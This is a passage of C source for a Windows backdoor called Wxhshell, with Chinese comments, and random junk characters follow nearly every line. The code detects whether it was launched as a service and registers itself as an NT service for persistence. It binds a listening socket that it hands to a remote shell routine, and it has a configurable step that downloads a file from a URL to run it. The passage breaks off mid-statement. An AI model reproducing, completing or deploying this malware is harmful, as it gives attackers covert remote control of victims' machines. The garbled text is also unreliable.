DWORD PebBaseAddress; }4piZ
ch
DWORD AffinityMask; pKLNBR|
DWORD BasePriority; `|&0j4(Pg
ULONG UniqueProcessId; GbQg(%2F
ULONG InheritedFromUniqueProcessId; o:*$G~. k
} PROCESS_BASIC_INFORMATION; `2\:b^h
lSoAw-@At8
PROCNTQSIP NtQueryInformationProcess; > Xij+tt{
.=yv m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~$//4kES
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q t>|TGz
;gAL_/_
HANDLE hProcess; M(C$SB>
PROCESS_BASIC_INFORMATION pbi; {wk#n.c
5-H"{29
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A@Zqh<,Ud
if(NULL == hInst ) return 0; $Fi1Bv)
$tc1te
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1A*
"v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >[nR$8_J-l
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sV0NDM0
{KK/mAp{
if (!NtQueryInformationProcess) return 0; >o3R~ [
,h/l-#KS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o!&+ _BKw
if(!hProcess) return 0; O~?d;.b
=w:)AWZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " j_cI-@6
^ rUq{
CloseHandle(hProcess); #_K<-m%9
XWNo)#_3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LylCr{s7
if(hProcess==NULL) return 0; 19[!9ci
1_;{1O+B
HMODULE hMod; Lm<WT*@
char procName[255]; .A_R6~::
unsigned long cbNeeded; l,3,$
vl+bc[ i~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z.x]6
Eht8~"fj
CloseHandle(hProcess); yh|+Usa
C(z'oi:f
if(strstr(procName,"services")) return 1; // 以服务启动 u
i$4
.wlKl[lE2
return 0; // 注册表启动 l[%=S!
} N_Zd.VnY
L8Z@Dk7Y
// 主模块 suFk<^3
int StartWxhshell(LPSTR lpCmdLine) W:9l"'
{ a0 PU&o1EF
SOCKET wsl; s5Wb iOF
BOOL val=TRUE; <$a-.C5
int port=0; !h<O c!9
struct sockaddr_in door; Dbq/t^
^-|~c`&}B
if(wscfg.ws_autoins) Install(); %XZhSmlf
Z#^|h0
port=atoi(lpCmdLine); e{XzUY6
$"MVr5q6
if(port<=0) port=wscfg.ws_port; :)T*:51{#
;mGPX~38
WSADATA data; /EegP@[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Je2&7uR0
@de0)AJG6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Qgv g*KX
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gSj0+|
door.sin_family = AF_INET; nII#uI/!q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); JL{fW>5y|
door.sin_port = htons(port); guf*>qNr
UWK|_RT6SA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _IV!9 JL
closesocket(wsl); ^Pu:&:ki
return 1; gN73)uJ0
} v]H9`s#,
C@zG(?X
if(listen(wsl,2) == INVALID_SOCKET) { 0w< ilJ
closesocket(wsl); 6X?:mn'%QF
return 1; jt9- v-
} 2Qh)/=8lM
Wxhshell(wsl); piuM#+Y\'S
WSACleanup(); FZZO-,xa
"9"
return 0; mE>{K
;cPPx`0$9
} 6%:~.ZfN
bhbTloCR
// 以NT服务方式启动 R?/xH=u>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1CSGG'J]E
{ =PNkzFUo
DWORD status = 0; JRZp'Ln
DWORD specificError = 0xfffffff; A=Hv}lv
x*=m'IM[
serviceStatus.dwServiceType = SERVICE_WIN32; F7nwVDc*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R$A%Zh6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^6F, lS _t
serviceStatus.dwWin32ExitCode = 0; `-R&4%t%
serviceStatus.dwServiceSpecificExitCode = 0; )C{20_
serviceStatus.dwCheckPoint = 0; J4U_utp
serviceStatus.dwWaitHint = 0; 1LhZmv
+Wy `X5v
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %hw4IcWJ|
if (hServiceStatusHandle==0) return; 1^V.L+0s]
!<VP[%2L~
status = GetLastError(); `kv7Rr}Q
if (status!=NO_ERROR) Y
9z*xS
{ 72J=_d>+
serviceStatus.dwCurrentState = SERVICE_STOPPED; BYHyqpP9
serviceStatus.dwCheckPoint = 0; e8oAGh"
serviceStatus.dwWaitHint = 0; pR=R{=}wV
serviceStatus.dwWin32ExitCode = status; 1ah,Zth2
serviceStatus.dwServiceSpecificExitCode = specificError; }Qe(6'l_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0R`>F">
return; Ruq>+ }4
} ,F`1VpTd8
f7!48,(fB
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2_o\Wor#
serviceStatus.dwCheckPoint = 0; 0aI@m
serviceStatus.dwWaitHint = 0; I.|b:c
xN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H\ E%.QIx
} P?c V d2Y
-aE,KQ
// 处理NT服务事件,比如:启动、停止 %[9ty`UE
VOID WINAPI NTServiceHandler(DWORD fdwControl) /YU8L
{ ? u".*!%
switch(fdwControl) iC^91!<
{ \ Ucv<S
case SERVICE_CONTROL_STOP: s'l|Ii
serviceStatus.dwWin32ExitCode = 0; &`vThs[x
serviceStatus.dwCurrentState = SERVICE_STOPPED; uTPAf^|
serviceStatus.dwCheckPoint = 0; =_g#I
serviceStatus.dwWaitHint = 0; PNo:vRtsq
{ L]"$dF
SetServiceStatus(hServiceStatusHandle, &serviceStatus); re#]zc<
} c+T`X?.j
return; kq?:<!z
case SERVICE_CONTROL_PAUSE: (JnEso-V
serviceStatus.dwCurrentState = SERVICE_PAUSED; Xo[cpcV
break; Mw-L?j0o[k
case SERVICE_CONTROL_CONTINUE: 8\:>;XG6f
serviceStatus.dwCurrentState = SERVICE_RUNNING; matm>3n
break; F$1{w"&
case SERVICE_CONTROL_INTERROGATE: 5M #',(X
break; qp#Euq6
}; _dCDT$^&r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ot!m=s
} /-^J0f+l3
~]?EV?T
// 标准应用程序主函数 0.nkh6?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }aXS MxCd
{ a MFUj+^
][V`ym-e
// 获取操作系统版本 @icw:68
OsIsNt=GetOsVer(); )1@%!fr
GetModuleFileName(NULL,ExeFile,MAX_PATH); eLXL5&}`fh
)8}k.t>'s
// 从命令行安装 8'TIDu
if(strpbrk(lpCmdLine,"iI")) Install(); sMUpkU-
yENAc sv
// 下载执行文件 A:z
if(wscfg.ws_downexe) { EL z5P}L6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C0Fd<